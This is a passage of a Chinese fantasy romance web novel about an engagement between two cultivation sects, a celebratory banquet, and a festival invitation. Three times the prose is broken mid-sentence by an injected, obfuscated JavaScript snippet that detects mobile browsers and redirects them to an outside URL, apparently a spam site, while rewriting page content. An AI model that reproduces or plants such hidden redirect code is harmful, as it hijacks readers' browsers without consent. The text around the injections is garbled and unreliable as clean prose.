赠鸿雁为信(三) 她眼神空洞,又想起了那日背着父母,偷偷溜进结界,亲眼目睹司青筠下葬的过程,心中难受不已。 抱元门中也并不是所有弟子都与司青筠交好,不乏有些弟子觉得他给宗门抹黑,对他十分唾弃。 那时,司月吟躲在屋檐上,悄然看着几个被叫来埋尸的弟子交头接耳道:“长老同意将司青筠埋回来已经是法外开恩,也没说到底是怎么个埋法,我看这院子被结界封住,以后也没人会来了,不如草草埋了了事。” “是啊,本来这件事,就是他给宗门抹黑了……” 抱元门也没为他准备一具棺椁,于是司青筠就这么被草草埋在了自己的后院里。 司月吟强忍着心绪,才勉强没有因为情绪波动而被几个弟子发觉异常。 等了半晌,终于等到了弟子们离开,司月吟这才轻手轻脚下了屋檐,将那被挖的乱七八糟的土堆弄得略微平整了些,随后小心翼翼进了司青筠的房间。 公仪岚问道:“那你可找到了司青筠留给你的生辰礼?” 司月吟轻轻点头,左手抬起,抚了抚耳垂上挂着的红玛瑙耳坠。 这红玛瑙耳坠十分夺目,一看就不是凡品。从公仪岚进了浮阳殿看见她第一眼就注意到了,只是当时他不知这耳坠就是司青筠给她留下的东西。 公仪岚视线下移,目光落在她左手的那只红玛瑙手镯,道:“这镯子也是见你第一次佩戴,看着与这对耳坠应该是一样的材质吧。” 司月吟道:“正是。这只镯子,也是他留给我的。” “很好看,这颜色很称你。”公仪岚笑道,“其实,我特意留你,想与你说上话,是因为我也有一样东西想要给你。” 司月吟眼神疑惑,抬头看着他的眼睛。 公仪岚从袖中取出一个四四方方、十分细长的锦匣,将其打开,递到了司月吟面前。 锦匣里面被稳稳托着的,是一只温润细腻,白净无暇的玉簪,簪头部分被雕成了镂空的兰花模样,十分典雅。 司月吟看得愣了神,一时间说话都不流畅了,不确定道:“这、这是……给我的?” 公仪岚点头:“第一次在三化殿上看见司姑娘,青丝上就缀了一只白玉簪。我想也许你喜欢这种模样的簪子,就试着雕了这个白玉兰花簪。你我二人既已定亲,我总不好两手空空过来见你。” 司月吟不知为何,竟微微红了眼眶。 她喃喃道:“原先我头上那一只白玉簪,我出生没多久后爹娘就交与我师父了,说是等我及笄后才能用的,这十八年间,我也只有在门中比试的时候,才能远远见到爹娘他们一面。” 公仪岚皱起眉,没想到司宗主与崔夫人竟然完全不在意这些年司月吟是如何成长的。 他顿了许久,才歉疚道:“抱歉,勾起你的伤心事了。” 司月吟摇头,十分郑重地收起了那个锦匣,勉强笑道:“没事的,阿岚。我很喜欢,辛苦你了。” “是辛苦了,大哥手上都划了些口子,这几日可没少费心呢!”公仪岭遥遥喊了一句。 司月吟听到公仪岭的话,颇为紧张地伸手,想拉过公仪岚的手查看伤口:“阿岚,你怎么被划伤了这么多?” 公仪岚耳尖泛了红晕,讷讷道:“第一次使琢玉刀,以后多用几次就好了。” 司月吟见他手上的伤口都已经结了痂,蹙着眉说道:“你的手是使剑的手,弄伤了可怎么好?下次还是不要雕琢玉簪子了……” 公仪岚轻声道:“无妨,一点小伤而已,过几日就好了。” 两人又执手对立,说了好一会儿话。公仪岭在远处一会儿站着一会儿蹲着,只觉得自己腿都快麻了,不知道揉了多久的腿,这才等到他们两人说完体己话。 司月吟缓缓松开手:“我不能留太久,母亲会不高兴的,阿岚,我得先回去了。” 公仪岚虽然不舍,但也明白她的顾虑,应道:“好。” 看见两人依依惜别的样子,公仪岭从地上爬起,拍了拍衣服上的灰尘,连忙安慰道:“没事儿大哥,顶多不过一个月,等中秋夜宴的时候,你就又可以见到了司姑娘了。” 公仪岚笑道:“你倒是会算日子。” 公仪岭嘿嘿一笑,片刻后又想起来一事,担忧道:“我看司姑娘刚刚因为司青筠的事情心情不好,这种事情,她应该能看得开吧?” 公仪岚拧着眉,叹息道:“她不愿说,我也就没仔细问。像她这样重情义的女子,想要走出来,怕是需要一段时间。再者,听说三日前抱元门已经将会审结果公之于众,勉强安抚下了冀阳城百姓,算算日子,明日藏元长老也该上路了。” 公仪拓听到最后一句,微微挑眉,没有说话。 公仪岭回到云灵山以后就没有关注那边的消息了,对藏元长老何时出发一概不知,现在听到以后,不由说道:“那藏元长老离开的时候,怕是司姑娘又会伤心了。” “伤心一时,等时间长了,兴许她也就好起来了。”公仪岚低声说道,“跟这个比起来,我倒是更担心她与司宗主夫妇之间的问题。” 公仪岭脑中一个激灵,追问道:“大哥,你也看出来了吧?我看司姑娘和她爹娘的关系都称不上是冷淡了,简直就是……根本不熟!” 公仪岚点了点头,思考了一会儿才看向一旁听他们分析的老爹,问道:“爹,你可知道月吟和她爹娘是怎么回事吗?” 公仪岭见他发问也不由看向亲爹,毕竟司宗主和他才是同辈人,任由他们兄弟两人猜来猜去的,还不如问问他爹呢! 公仪拓被两人盯地有些不自然,挺了挺腰板斥责道:“你们两个人真是越来越不尊敬你爹我了,这样直勾勾地盯着我是要做什么?打算逼问我吗?” 公仪岭:“爹这是哪里的话?不过是想与您询问一二罢了。” 公仪岚立刻对父亲行礼,说道:“还请爹赐教。” “赐教说不上,也就是同你们说个闲话而已。” 公仪拓哼哼了半晌,才勉强说道:“这个事情,为父我还真略有耳闻,当然,肯定不是我们刻意去探听别人家的八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429922|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卦啊,你们都知道,我跟熙华是最不屑于做这些事情的……只是在参加仙门宴席的时候,听到别人说了一嘴罢了。” “愿闻其详。” 公仪拓沉思道:“司永丰这小子与我也算是在仙考大会时候认识的旧相识了,我们这一帮人年轻时候,那也是跟你们现在一样潇洒恣意,无拘无束的。后面我们各自成家以后,还互相参加了不少大家小孩的满月宴。” 公仪岭问道:“他们也吃过我们的吗?” “这个当然,别看齐阳羽现在严厉的样子,你们俩小时候还被他抱过呢……当时太微山齐家、紫阳宗燕家、青花谷孟家小辈的满月宴我都去过,唯独抱元门司永丰喜得一女的时候,并未大办满月宴。” 公仪岚皱眉追问道:“为何不办?” 公仪拓搔了搔脸,犹豫道:“一开始为父我也不知道,后来还是熙华听到了别的夫人说这件事,才知道,司永丰是觉得生了个女儿没办法继任宗主之位,这才不办的。” 公仪岭难以置信:“居然有这样的事情?” “原本他们夫妇两人是打算再生一个男孩的,只是不知为何,十八年了崔夫人也没再有孕,所以这些年,他们就只有司月吟这一个女儿。” 公仪岚难得沉了脸,冷声说道:“是儿是女又如何?月吟仙资极高,又有长老教导,说是抱元门弟子里最厉害的也不为过,如何不能继任宗主之位?” 公仪拓也认同他说的话:“原先我还觉得传闻空穴来风,毕竟他们不看重司月吟的话,也不会让她跟着长老修习。只是现在一想,若是他们真想培养司月吟当少宗主,也就不会有联姻说法了,没准还会招赘婿呢。” 公仪岭忽然想起那时司月吟云淡风轻地从自己行囊中拿出来一麻袋的珍宝,每一个都是她参加比试赢回来的,不由觉得她长大的这些年,一路摸爬滚打很不容易。 原来,她这么努力地参加门中比试,也只是想向父母证明自己也足够优秀,让他们能看到自己。 公仪岚心中更是难受,脑子里反反复复回响着的都是司月吟刚才拿着玉簪说的话。 公仪拓撇了撇嘴,语气不满:“我也是搞不懂他司永丰,有了这么个女儿还想怎么样?要是阿岭有她一半省心,我不知道该有多舒服!” 公仪岭默然道:“……再怎么说,每次仙考我可没叫您费心。” “唔,那倒是。” 公仪拓想了想,觉得也有道理,随即自信道:“你能学起来这么轻松,那还不是仙资高的缘故?为什么仙资高?那也是我跟熙华两个人厉害才能生养出来厉害的孩子!我俩要是能生个女娃,没准也是巾帼不让须眉,哈哈哈!” 公仪岭见他说着说着已经开始笑起来了,赶紧打断他的自夸:“时候不早了,爹,咱们赶紧启程吧。” 公仪岚也提醒道:“娘还在家里等着我们带回去好消息呢。” 公仪拓收了笑容,想起沈熙华还等着的事情,马上急了:“对对对,阿岚说的对,我们赶紧回去吧,千万别让她等久了。” 55. 云灵寄锦书 拜帖中秋宴(一) 从抱元门离开后,两家定亲的消息就已经传遍了仙门各家,大家有猜测消息真假的,有觉得司月吟是被迫联姻的,也有觉得抱元门此举是有从高位跌落趋势的,总之,只有少数人真心实意觉得他们这一桩姻缘是天作之合。 公仪岭一路奔波回到云灵山,到家第一件事就是睡了个天昏地暗。据说承悦往他房门口来了不下五次都没见他醒来,都已经开始怀疑公仪岭是不是在房间里猝死了,被公仪岚拦着才没闯进去。 公仪岚十分理解地跟承悦说道:“阿岭这几日连着奔波,定然是累着了,等他自己醒来就好了。” 承悦叹了口气:“大师兄,你这几日也累了,也该好好休息,宗门里的事情,我与师娘处理得来。” 虽然公仪岚心里还惦记着桌上堆积着的一大堆文书,但架不住倦意来袭,最后在承悦的三催四催下,还是回房间休息了。 等公仪岭醒来以后,已经是第二天正午。他费劲吧啦地从床上撑起身子,还有些依依不舍地自言自语:“这样舒服的日子,都已经好几个月没过了。” 随后他就起了床,刚出去院子里就遇上了承悦,正端着一个盖碗走过来。 “早啊,承悦。” 公仪岭伸了个懒腰,对他打了声招呼。 承悦撇了撇嘴:“不早了,师娘说不能再让你睡了,我才过来的。” 空气里弥漫着一股浓浓的鲜香味,公仪岭使劲闻了闻,发现这香味的来源就是承悦手上拿着的东西,忙问道:“你手上拿了什么?” 承悦道:“这是师娘特意早上给你们炖的蟹黄鱼头汤,说是给你们补一补身子的,你趁热喝了。” “娘还有这一手呢?”公仪岭奇道。在他的印象里,沈熙华极少进膳房。 承悦笑道:“师娘见你们事成回来,高兴嘛,还说晚上叫仙侍给你们也做点吃的接风洗尘呢。怎么,还不请我进去坐一坐?” 公仪岭连忙做了个“请进”的手势,顺势把承悦请进了屋子:“来来来,进来再说。” 承悦也不客气,直接进了屋子,顺道还问了句:“桌案上的信笺,你可都收拾了?” 公仪岭茫然:“嗯?信笺?什么信笺?我临走之前收到的那些,都收好了呀。” 他一进房门沾床就睡,即便是起来了也不会往书桌那边走,桌案上有什么东西是一概不知。 承悦一看他那样,就知道公仪岭还不知道,无奈道:“你们去抱元门的这几日,仙家就捕风捉影地多多少少听说了结亲的事情,这几日里云灵山收到的信笺和拜帖可是不计其数,堆满了宗主和你们俩的桌子。” 公仪岭了然道:“那些文书大多是堆到爹娘和大哥屋子里的,我这里收到的,多半是齐元白他们来问消息的。” 两人过去一看,公仪岭就感到头痛起来。 事情果然跟承悦说的一样,公仪岭的桌案上几乎可以用一片狼藉来形容。 那些不同宗门的信笺,大小形制规格都不尽相同。能看得出来,送信到他桌案上的师弟师妹们一开始还尝试着理一理,到后面发现根本整齐不了,就直接放弃了,随意堆积在了桌上。有的薄薄一张纸,风一吹,就飘到了地上。 公仪岭万万没想到是这么个场景:“怎么这么多?!” 他还以为就只有燕蓉齐元白他们写信呢! 承悦稍稍清理了一下桌子,好不容易留出来了一小块空地,把手上端着的碗放了上去,才说道:“八卦之心人人有之嘛,有些宗门后辈们觉得跟大师兄不熟,不好打听。刚好阿岭你又是个好说话的性子,可不得偷偷来问你一嘴。” 说着,承悦随手拿起了桌上的几张纸,念给他听:“喏,这张是太微山的小师妹寄来的,这张是六弦阁的小师弟,那张是青花谷的……” 公仪岭连忙叫停。 “这么多,一封封回啊?” 承悦轻松笑道:“反正阿岭你也没事情干,回了他们也好,省得以后传出来什么乱七八糟的故事,坏了大师兄和司姑娘的名声。” 公仪岭一听,觉得好像有些道理:“也是啊。” 承悦趁热打铁:“你看啊,你现在也起来了,离师娘叫你吃晚膳的时间还早,这一下午不如趁早把信回了,如何?” 公仪岭听着哪里不对,凝视着他:“承悦啊,你来都来了,搭把手呗?” 承悦果断拒绝道:“实不相瞒,下午师娘还交给了我事情处理,现在蟹黄鱼头汤送完了,我也该走了。” 公仪岭无言以对,眼睁睁看着他从容地放下手上的信笺,从容地叫他喝汤,从容地从他的房中离开。 桌案上他的砚台里结了不少干涸的墨块,公仪岭不由思考起来自己已经多久没在这张桌案上写字。草草清理了一下后,取了墨条开始慢条斯理地磨起了墨。 回信自然也得有个先后顺序,公仪岭还是从一堆信笺里面刨出来了齐元白写的东西打算先给他回了再说。多亏齐元白写的东西全都是一堆废弃黄纸,在这些纸堆里面格外醒目,让他找起来十分轻松。 第一封是这样的:“阿岭:这几日大家都传遍了,说抱元门要给司月吟定亲的事情呢,只不过,他们还都不知道会定哪家公子,还好我早就知道了,阿岭你放心,我嘴严的很!阿鸢问我我都没说!” 公仪岭莞尔,心说果然还是好兄弟靠得住。 第二封道:“阿岭:你们去抱元门的事情也被大家知道了,现在都众说纷纭的,我看还是早些出来正式宣布比较好,省得有人拿这事大做文章,这么好的姻缘,可别让旁人搅黄了。” 他说的,也是公仪岭心里所想的。 抱元门实力雄厚,一家独大了这么多年,难免许多宗门存了盼着他从高处掉下来的想法,定然是不愿意看到他们借着联姻联手的。 余下几封,公仪岭草草看了一眼,都是差不多的内容,随意找了一张信笺后,他提笔开始给齐元白回信。 “元白:我与大哥已回云灵山,大哥与司姑娘的亲事已定,不日就会公之于众,你且放心。待到一年期满,大哥会再请你择个良日,定下正式婚期。公仪岭。” 公仪岭反反复复在心里念了两遍,觉得没什么问题了以后,这才吹了吹墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429923|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹,将回信妥帖地放进了函中,在上面写上了“齐元白亲启”几个大字。 收拾完了齐元白传来的废黄纸以后,公仪岭又是随手往桌上搂了几封就拆,谁料手劲一大,那薄薄几封信被他不小心扯成了两半。 “哎哟——” 公仪岭看着手上被撕成两半的信,只能勉强把他们拼了回去凑合看。 这几封信的厚度跟齐元白那些比起来就显得薄了很多,公仪岭心想也不知道这群人写了个啥过来,仔细一张张翻看后,顿时无言。 “岭兄,见字如晤。抱元门一别,已有多日未见,回到青花谷后,我听闻抱元门有意与你结亲,不知是真是假?如若消息真切,届时望邀我们前去为你庆贺,我必携厚礼聊表诚意。另,还请代我向公仪宗主与岚兄问安,待下次见面,再把酒言欢,不醉不休。孟正初。” 公仪岭不由感慨:谣言越传越离谱啊,这都开始说要跟自己结亲了。立马就提笔开始回信,向这群人说明实情,撇清楚跟自己的关系。 其余几封稍短一些的回信,通篇都是委婉地打听八卦以及各种五花八门式的问安。 “问安、问安、又是问安……好好好,我爹好,我妈好,我哥也好。” 公仪岭刚开始还端端正正坐在书案前回信,到后面一个时辰以后,发现所有人传来的信几乎都是千篇一律的内容,再也忍不了一点,顾不上什么风度礼节,直接蹲在椅子上就开始念叨:“我全家都蛮好的,就我不太好!” “一堆破信,谁爱看谁看,坐得我腚疼。” 说完,公仪岭忽然觉得心里十分舒爽,随手把桌上一张自己还没写完的纸揉成了团,对着窗外快要落山的太阳就丢了出去,托着腮搁桌案上发起呆来。 门口等待他的仙侍余光一瞥,就看见从窗户里飞出来的纸团,立刻出声道:“岭师兄,沈夫人交代过,回不完信您就不能参加晚上的宴席了。” 窗户里沉默了许久,才问道:“当真?” “当真。” “好吧。”他妥协了。 信可以不回,但吃席还是要吃的。公仪岭经过了一番心理斗争后,还是从椅子上下来绕到屋外把纸飞机捡了回去。 问题是这么多人,回个啥呢? 他叼着笔,寻思了半晌,心道:“反正他们互相也不知道我回的是什么,干脆把之前回的再抄一遍吧。说起来,下次是不是得刻一块木板,直接哐哐一顿印,多省事。” 他抄了至少二十封回信后,终于在信山的最底下搂到了紫阳宗传来的信。公仪岭手上摩挲了一下信封,看着上面的字迹和太阳纹印章,就知道是燕蓉写的。 “公仪岭:此事我已知晓,当初历练的时候,就已经大致猜出一二,在此特祝新婚快乐。另,阅后不必回信。燕蓉。” 旁边看着他写信的内侍瞧见了最后一行字,都替他高兴了几秒:“岭师兄,这一封终于不必回信了。” 公仪岭眉头紧缩,思考了片刻后决然道:“不行!这个得回!万一我再求求她,她能告诉我让笔自己动的法术呢!” “……” 56. 云灵寄锦书 拜帖中秋宴(二) 等到戌时,公仪岭终于回完了最后一封信,放下了笔,松了松筋骨。 仙侍在旁边已经等候了他一会儿,见他忙完,赶紧请道:“岭师兄,夫人有请。” 公仪岭高兴道:“娘当真给我们准备了晚膳吗?” 仙侍笑道:“这是自然,夫人再三叮嘱,一定让你们准时过去的。” 云灵山不常设家宴,大家平日里都是聚在一起吃喝随意,极少这般正式。而这一回沈夫人竟是直接将宴席设在了云灵殿中,还没等公仪岭走到正殿,已经看见前殿来来往往了不少仙侍,每个人手中都稳稳地端了一个托盘,上面摆放了各式精致可口的菜品。 公仪岭拦下了一位少女仙侍,问道:“怎么这一次娘唤来了这么多仙侍?” 那少女娇笑一声,乐道:“岭师兄这不是明知故问吗?咱们云灵山发生了这样大的喜事,夫人可别提多高兴了,这才破例设宴,请了云灵山所有弟子都来参加呢!” 公仪岭原先还以为只是他们一家四口普普通通吃个饭,没想到竟是如此排场,当即愣了:“……这次娘还真是大手笔啊。” 领着他过去的仙侍怕耽误了时辰,对少女使了个眼色叫她退下,转身就对公仪岭道:“岭师兄,夫人还在正殿等着你呢,先过去吧。” 公仪岭点头,跟着他步上了云灵殿前的台阶。 走了没几阶台阶,他已经听见了娘亲的声音:“先把凉菜上了,等人到齐了再上热的!承悦,快点去清点弟子们都到齐了没有?还有阿岭这小子到哪了?每次过来都磨磨唧唧的,再去催一催!” 正殿里面传来承悦的声音:“哎、好,师娘你别急,我这就去!” 随后,公仪岭看见承悦抄着算盘步履匆匆出了殿门,连忙道:“我来了,我来了。” 承悦看见他,这才松了一口气,连拉带拽将人送进了云灵殿:“祖宗啊你可算是来了,再磨唧一会儿我看师娘就该拿戒鞭抽你去了。” 说罢就对着沈熙华喊道:“师娘!二师兄来了!我先去把弟子们从偏殿叫进来!” 不等公仪岭说话,承悦便一溜烟儿跑了。 公仪岭这才注意到正殿里原先的陈设都被撤走了,两侧换上了几排坐席和食案,爹娘和大哥都已经在里面等候多时了。 沈熙华见他到场,悠悠道:“可算是来了,先坐吧。” 公仪岚拍了拍身旁的座席,对他笑道:“坐这里吧,阿岭。” 公仪岭十分顺从地在他旁边的食案前坐下了,问道:“我们云灵山虽然门中弟子没有抱元门那么多,但这几百来号人都来的话,怕是正殿里也坐不下吧?” 公仪岚解释道:“坐席顺序都是按辈分来排的,年轻小辈们都被设在了殿外参加宴席。” 难怪方才他路过的时候还看见殿外也有仙侍搬了食案来,原来是这样。 难得一见自家搞出这么大的宴席,公仪岭有些兴奋:“什么时候开宴?” “你急什么?等承悦安排好弟子入席,自然就开始了。”沈熙华道。 于是公仪岭眼巴巴地盼着承悦的效率快些。好在承悦不负期望,没一刻钟就已经安排得井井有条。 云灵山虽不甚在意那些宴席上的规矩,不过毕竟是喜事,该有的祝酒词还是少不得。众弟子落座毕,公仪拓就举杯道:“想必大家也都知道了,今日云灵山大办家宴,是因为阿岚与司姑娘定亲的这件大喜事!既是家宴,我也就不说那么多冠冕堂皇的话了,大家吃好喝好,随意就好!” 公仪岭等他说完,顺手也举起了放在自己面前的酒杯,念出想了好几日的祝福话:“金玉良缘,佳偶天成,祝大哥与司姑娘良缘永结,白首到老。” 下面弟子也立刻朗声附和:“祝大师兄与司姑娘良缘永结,白首到老!” 公仪岚含笑,将手中满杯的酒喝尽,对众人道:“多谢你们了。” 沈熙华脸上也露出了笑意:“大家都是一家人,站着干什么?快坐下!大家都多吃点啊!” 公仪岭挑眉,给自己和大哥满上了酒:“娘你这是哪里的话,我们怎么会客气呢!有什么好酒好菜都让仙侍们呈上来吧,今天大家不醉不归啊!” “那是!那是!”不少弟子起哄道。 沈熙华无奈看着他们,妥协道:“好吧,可别都一个个喝得烂醉如泥,明天可还得上早课!” 公仪岚温声道:“放心吧娘,我看着阿岭呢。” 公仪拓立马道:“熙华,咱们难得办一次宴席,就让他们痛快玩吧,明天的早课取消了也无妨。” 沈熙华斜眼看他:“我看是你自己想痛快喝一场。” 也不等她说同不同意,公仪岭就接过了话头,不给沈熙华回绝的机会:“师弟师妹们,娘这是同意了!” 众人兴奋不已:“好!” 公仪拓也不迟疑,一挥手,招呼仙侍开始上菜。 仙侍们早已在殿外准备好,得了令后,一个个端着托盘鱼贯而入,冒着热腾腾白气的一道道菜像流水一样被呈了上来。 公仪岭原先的食案上只摆了凉拌黄瓜、花生米、白切鸡之类的凉菜,几箸下去,凉菜都还没吃完,案上就已经多了小米海参盅、清蒸多宝鱼、山药木耳之类的菜肴。 他这边吃得舒爽,公仪岚那边就是另一番模样了,毕竟算得上是宴席的主角,弟子们少不得轮流过去给他敬酒祝贺,还送了不少小物件当作他的定亲礼物。 公仪岚的酒杯空了又满,满了又空。公仪岭一边消灭着自己桌案上的食物,一边还腾出手来时不时给公仪岚续酒。这么三番四次下来,原先公仪岚还想着自己监督公仪岭少喝酒,谁知道到头来反倒是自己先喝晕了。 “谢谢……谢谢师弟……谢谢……” 公仪岚双手接过自家师弟递过来的礼物,说的话已经开始逐渐含糊不清,身子也左右摇晃起来。 公仪岭还是第一次看见大哥醉酒的样子,见他整张脸都因为喝了酒的缘故变得发红,赶忙对后面排队等着敬他一杯的师弟师妹们道:“你们大师兄喝多了,敬酒就先免了吧!” 没排到的师弟师妹颇为失望地叹了口气,不过还是依次将手里准备的礼物郑重地摆到了公仪岚桌案上。 看着底下喝醉了的公仪岚,公仪拓“啧”了一声,感慨道:“阿岚这酒量,倒是没继承我半点儿。” 公仪岭道:“大哥平时滴酒不沾,酒量差了些也是正常。” 沈熙华睨了他一眼,凉凉道:“听你们说得好像酒量好是什么很光荣的事情一样?我可是再三跟你们俩强调过,不可贪杯的吧?” 公仪拓感觉自己额间留下一滴冷汗:“这个……是强调过的……” “……的确,娘说的对,这的确不是什么光荣的事情。”公仪岭也连忙好声好气地找补了一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他连着叫了好几声,公仪岚才悠悠醒转来,眼神茫然,盯了眼前的碗好半晌,才顺从地喝下了公仪岭递到嘴边的醒酒汤。 公仪岭扶着碗感叹道:“大哥,你可比齐元白喝醉的时候好照顾多了,让喝什么就喝什么,不像齐元白,到处撒泼,还老爱把符纸贴到人家酒楼老板脸上,拦都拦不住,最后还是让清鸢过来赔了钱才了事。” 公仪岚喝光了碗中所有的醒酒汤,“吧嗒”一下搁了碗,看着他认真说道:“阿岭给的,不会有事。” “也是,别人给的大哥就不会喝了。” 公仪岚摇了摇头,又指着对面的承悦说道:“承悦给的,也喝。” 承悦晕头转向地连轴转了好几日,这会儿正坐在对面低头猛吃,蓦然间听到公仪岚的话,差点没老泪纵横,恨不能上去给他个拥抱:“岚兄——” 公仪岭见他眼底一片乌青,想来是好几日没睡够觉,对承悦猛吃的行为表示十分理解:“承悦这几日也是辛苦了,多吃点啊,不够再上。” “好!” 喝了醒酒汤后,公仪岚觉得自己头脑稍微清醒了一些,就起身对公仪岭道:“阿岭,我出去吹一吹冷风醒酒。” 公仪岭看他晃了晃身形,勉强才控制住自己的样子,颇为不放心道:“大哥,我跟你一起去吧。” 57. 云灵寄锦书 拜帖中秋宴(三) 公仪岚迟缓地对他点了一下头,任由公仪岭把自己搀扶了出殿。 哪怕现在已经临近子时,夏日的夜风也不带有丝毫凉意。公仪岭感受着迎面而来的和煦暖风,颇担心大哥吹了这风以后,刚缓和了一点的头脑又发晕起来。 他扶着公仪岚在外面还没站多久,就听到远处传来仙侍与人交谈的声音。 “还劳烦你转交给他们。” “好的,一定带到。” 公仪岭听了一会儿,没听出来这究竟是谁的声音,心想大约是有人送了东西过来,反正这几日云灵山收到的东西早就堆积成山,也属正常,于是也没有怀疑,打算等仙侍过来以后再问问他。 没过多久,说话的声音消失了,取而代之的是仙侍朝正殿方向走过来的脚步声。 仙侍手中拿着东西直直过来,老远就看见了公仪岭和公仪岚站在云灵殿门口不知道做什么。虽然心里揣着疑惑,不过对他来说,把东西交给他们也是一样的,等走近后把手里的东西呈了过去。 仙侍说道:“大师兄、二师兄,刚才有个自称是紫阳宗的人,托我将这本帖子转交给公仪宗主。” “给我吧。” 公仪岚呆愣着没什么反应,公仪岭顺手接过了帖子,垂眸扫了一眼。 每年节庆之时,他们几家都会轮流操办宴席事项,在宴会开始前半个月,就会陆续将自家的拜帖送到其他宗门手上。而这次中秋宴,正是轮到紫阳宗大办。 暗紫色的锦缎帖子上娟秀地写了“拜帖”两个字,公仪岭仔细回忆了一下,没有想到这个字是出自谁的手笔,只不过拜帖上面残存着仙力的太阳纹印却做不得假,必然是紫阳宗送来的了。 公仪岭合上帖子,问仙侍道:“你可记得送来的那人长得什么模样?” 仙侍一怔,努力回忆道:“天色太暗,那人又披头散发,看不清楚是个什么样子,不过个子倒是蛮高的呢。” 公仪岭听他的描述,脑中浮现出一人,却又觉得不大可能。至于那人的声音……仔细听听,倒还是蛮像的。这么点时间,他应该还没走远,现在就赶回去的话,没准能遇上。 思考完,公仪岭直奔仙侍来时的方向,惊得仙侍在后面遥遥喊道:“岭师兄——宗主还在里面等你啊!” 公仪岚望了望身旁仙侍,又望了望跑得不见踪迹的公仪岭,身体比脑子反应更快,没等仙侍反应过来,也追了过去。 公仪岭足尖点地,一路狂奔,最后终于在不到山门百米的位置截下了送帖子的人。 “等等——” 公仪岭跑得越近,越是确定了自己的猜测,连声叫他停下。 那人身形一滞,转过了身,笑道:“公仪,寻我可还有事?” 公仪岭在他面前急刹住脚,累得不行,一边擦汗一边心想:“难道修为高的人走路都这般快吗?连他都差点没追上。” 面前的人,与他当时所猜测的一样,正是紫阳宗的燕煦泽。只是他不知道这人为什么千里迢迢跑来一趟,却又悄无声息送个拜帖就走。 公仪岭缓了缓,开口说道:“燕兄,几日不见,没想到会大晚上在云灵山遇到你。” 燕煦泽指了指他手中拿着的拜帖,笑道:“师父特意叫我前来云灵山将中秋宴席的拜帖交给公仪宗主,只不过来的不巧,听门口仙侍说,你们今夜设了宴席,我看我也不便叨扰,就请仙侍代为转交了。” 公仪岭意外道:“我还以为你们会白日里来,怎么大晚上过来了?” 燕煦泽叹气道:“师父听闻,云灵山因定亲之事要设宴庆贺,便叫我前来瞧一瞧。许是因为他给公仪宗主前几日传的信还没得到回复,这才……” 公仪岭明白了,但想着人都大老远跑来了,不留下来招待一下好像也说不过去,就热情道:“燕兄来都来了,不如随我一道回去也吃一吃宴席?” 燕煦泽含笑婉拒道:“师父交给我的任务我已经完成了,就不多留了,我还得赶着回去告诉他一声,还劳烦公仪兄代为转达,八月十五中秋宴时,务必携拜帖前往紫阳宗。” “好,我一定带到。” 送走了燕煦泽后,公仪岭转身就瞧见了藏在石头后面的大哥,被吓了一跳。 “大哥!你、你你,你躲在那边干什么!” 公仪岭将他从石头后面拉了出来,公仪岚才嘀咕道:“担心阿岭晚上出去遇到坏人,才跟来的。” 公仪岭无奈笑了一下,噌得一下拔剑出鞘,反手就把那块石头劈成了两半:“大哥你放心,别人打不过我!” 公仪岚发自内心鼓起了掌。 不过,看公仪岚这模样,就知道酒还没有完全醒,公仪岭只得先带着他回到云灵殿。 刚刚门口的仙侍见他们一前一后飞奔出去,还以为出了大事,差点吓了个半死,数着时间打算再过五分钟两人还没回来的话就回去禀报宗主,好巧不巧两个人又踩着点回到了他面前。 仙侍愣愣地放下正在数数的十根手指,松了口气:“两位师兄,你们可算是回来了,没出什么事情吧?” “无事,你回去吧。” 殿内,公仪拓虽然没喝醉,但还是在沈熙华的要求下喝了醒酒汤。 沈熙华正坐在他的旁边给他夹菜,见到两个人回来,问道:“阿岚如何了?吹了风可有好些了?” “大哥没事,回去睡一觉就好了。”公仪岭说完,把人扶回了位置上,才将怀中的拜帖拿了出来,递交到爹娘面前。 沈熙华只看了一眼,就知道这是何物:“哦,今年紫阳宗的拜帖送来得还挺早呢。” 公仪拓不满道:“这大晚上的,差人来送什么拜帖?我看燕修远应该是听说我们在设宴庆贺,才叫人来探虚实的,毕竟,定亲之事还没公布出去嘛。” 公仪岭心中暗道了一声英明,不过在众弟子们前,嘴上还是给燕宗主留了几分薄面:“爹,人家是事出有因,因为没收到回信才来的。” 公仪拓认真回想了一下:“哦,我忘了,他写的那堆破纸估计给我当垃圾丢地上了吧?” 说罢,又嗤道:“他自家丢了御魔幡的事情自己都还没处理完,引了一堆人赶着去给他们擦屁股,也好意思过来探我们的虚实了……” 沈熙华轻拍了一下他:“喝了这么多,当孩子面胡说些什么?” 公仪岭听完却是心念一动,之前没想明白的事情似乎有了些眉目。 自从司青筠的事情告一段落后,看似所有事情都有了合理的解释,但公仪岭一直觉得还有一件重要事给大家给忽略了。 那就是——为何魔族忽然也插手了人间事,主动去寻求与先城主他们合作呢? 